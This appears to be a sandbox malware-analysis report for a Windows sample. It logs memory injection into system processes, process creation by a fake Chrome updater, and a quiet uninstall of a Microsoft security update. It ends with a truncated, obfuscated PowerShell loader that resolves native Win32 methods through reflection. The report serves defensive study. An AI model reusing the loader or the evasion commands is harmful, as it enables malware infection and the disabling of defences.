Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E968280000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9452E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 29227D20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 283E5C00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 14BB07C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C4F660000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1DBAE850000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 27B1B9F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 27FF3CD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 281CF7C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 28843650000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1FBADCF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 40D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 2BEDFE40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1FFD2D10000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1B38FD50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D8FD7A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: EA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2DD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2D20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2EA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2EB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 26E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 22C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 1460000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 1150000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2620000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2F20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2940000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: FF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2560000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2880000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2E50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 3110000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2EF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: C00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: D70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 25D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2B40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 7F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 6E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2890000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: EB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2FC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 27F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 13C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 7E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: A30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 740000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2820000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 3030000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 700000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 1110000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2C90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2AF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: D60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2A20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2EB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: B60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 14A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2FB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 3130000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 900000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 900000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2C30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 30F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 10B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 23D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2860000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2BC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 7B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2650000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2EF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 750000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2AB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 1620000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2B80000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 15A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 8A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 24D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 12A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2110000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 6F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: BE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 25B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: F20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 3070000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: E10000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2980000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2EC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 3110000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2150000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2910000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 3140000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2D20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 730000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2CD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: BC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2730000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2AF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2360000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 3030000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 13D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2FC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 1510000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 8B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: F70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 730000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 7E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F6E6AB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 217D6390000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1D29E890000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 28189530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 146F6AD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1BF4B840000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 208BF760000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 23B50E40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 23B50E70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CCD9A60000

Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{ed3c9ad9-1a05-4753-a177-d35f4db59610}	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{221f05ee-8fb0-4424-9ba0-bc3ff8f1bf74}

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe "function local:okulrfyuhqtj{param([outputtype([type])][parameter(position=0)][type[]]$dhhelpdherwtsc,[parameter(position=1)][type]$rguqrffami)$xkbdjiiiaov=[appdomain]::currentdomain.definedynamicassembly((new-object reflection.assemblyname(''+[char](82)+'e'+[char](102)+''+[char](108)+''+'e'+''+'c'+'t'+'e'+''+[char](100)+''+[char](68)+''+[char](101)+''+'l'+''+[char](101)+''+'g'+''+'a'+'t'+[char](101)+'')),[reflection.emit.assemblybuilderaccess]::run).definedynamicmodule(''+[char](73)+''+[char](110)+''+[char](77)+''+[char](101)+''+[char](109)+'o'+[char](114)+'ymo'+'d'+''+[char](117)+''+[char](108)+''+[char](101)+'',$false).definetype('my'+'d'+'el'+[char](101)+''+[char](103)+'a'+'t'+''+'e'+''+[char](84)+'yp'+[char](101)+'',''+[char](67)+''+[char](108)+''+'a'+'ss'+[char](44)+'pu'+'b'+'l'+[char](105)+''+[char](99)+''+','+''+[char](83)+''+'e'+'a'+'l'+''+'e'+'d,'+[char](65)+'ns'+'i'+''+[char](67)+''+[char](108)+'as'+[char](115)+''+[char](44)+''+[char](65)+''+'u'+''+[char](116)+''+'o'+''+[char](67)+''+[char](108)+''+'a'+''+'s'+'s',[multicastdelegate]);$xkbdjiiiaov.defineconstructor(''+[char](82)+''+[char](84)+''+'s'+''+[char](112)+''+[char](101)+'c'+[char](105)+''+'a'+''+[char](108)+''+[char](78)+''+[char](97)+''+'m'+'e,'+'h'+'i'+[char](100)+''+[char](101)+''+[char](66)+'y'+[char](83)+''+[char](105)+'g'+[char](44)+'p'+[char](117)+'b'+'l'+''+[char](105)+'c',[reflection.callingconventions]::standard,$dhhelpdherwtsc).setimplementationflags(''+[char](82)+''+'u'+''+[char](110)+''+[char](116)+'i'+[char](109)+''+[char](101)+''+','+'man'+'a'+'g'+[char](101)+''+[char](100)+'');$xkbdjiiiaov.definemethod(''+[char](73)+''+[char](110)+'v'+'o'+''+[char](107)+''+[char](101)+'',''+[char](80)+''+'u'+''+[char](98)+''+[char](108)+'ic'+','+''+[char](72)+''+'i'+''+[char](100)+''+[char](101)+''+'b'+'y'+[char](83)+''+'i'+'g'+','+'n'+[char](101)+'w'+'s'+''+[char](108)+''+[char](111)+'t'+','+''+'v'+''+[char](105)+''+[char](114)+''+'t'+''+[char](117)+''+[char](97)+''+[char](108)+'',$rguqrffami,$dhhelpdherwtsc).setimplementationflags(''+'r'+''+[char](117)+''+'n'+''+[char](116)+''+[char](105)+''+[char](109)+''+[char](101)+',ma'+[char](110)+''+'a'+''+[char](103)+'e'+'d'+'');write-output $xkbdjiiiaov.createtype();}$hpsmfkkdezpeo=([appdomain]::currentdomain.getassemblies()\|where-object{$_.globalassemblycache -and $_.location.split('\')[-1].equals(''+[char](83)+'y'+'s'+''+[char](116)+''+[char](101)+''+[char](109)+''+[char](46)+''+'d'+''+[char](108)+''+[char](108)+'')}).gettype('m'+[char](105)+'c'+[char](114)+''+'o'+'s'+'o'+''+[char](102)+''+[char](116)+''+[char](46)+''+[char](87)+''+[char](105)+''+[char](110)+''+'3'+''+[char](50)+''+[char](46)+'u'+'n'+''+'s'+''+[char](97)+''+[char](102)+''+[char](101)+''+[char](78)+''+[char](97)+''+'t'+''+'i'+''+'v'+''+[char](101)+''+[char](77)+''+[char](101)+''+[char](116)+'h'+[char](111)+''+[char](100)+''+[char](115)+'');$azprwzsupdjmw
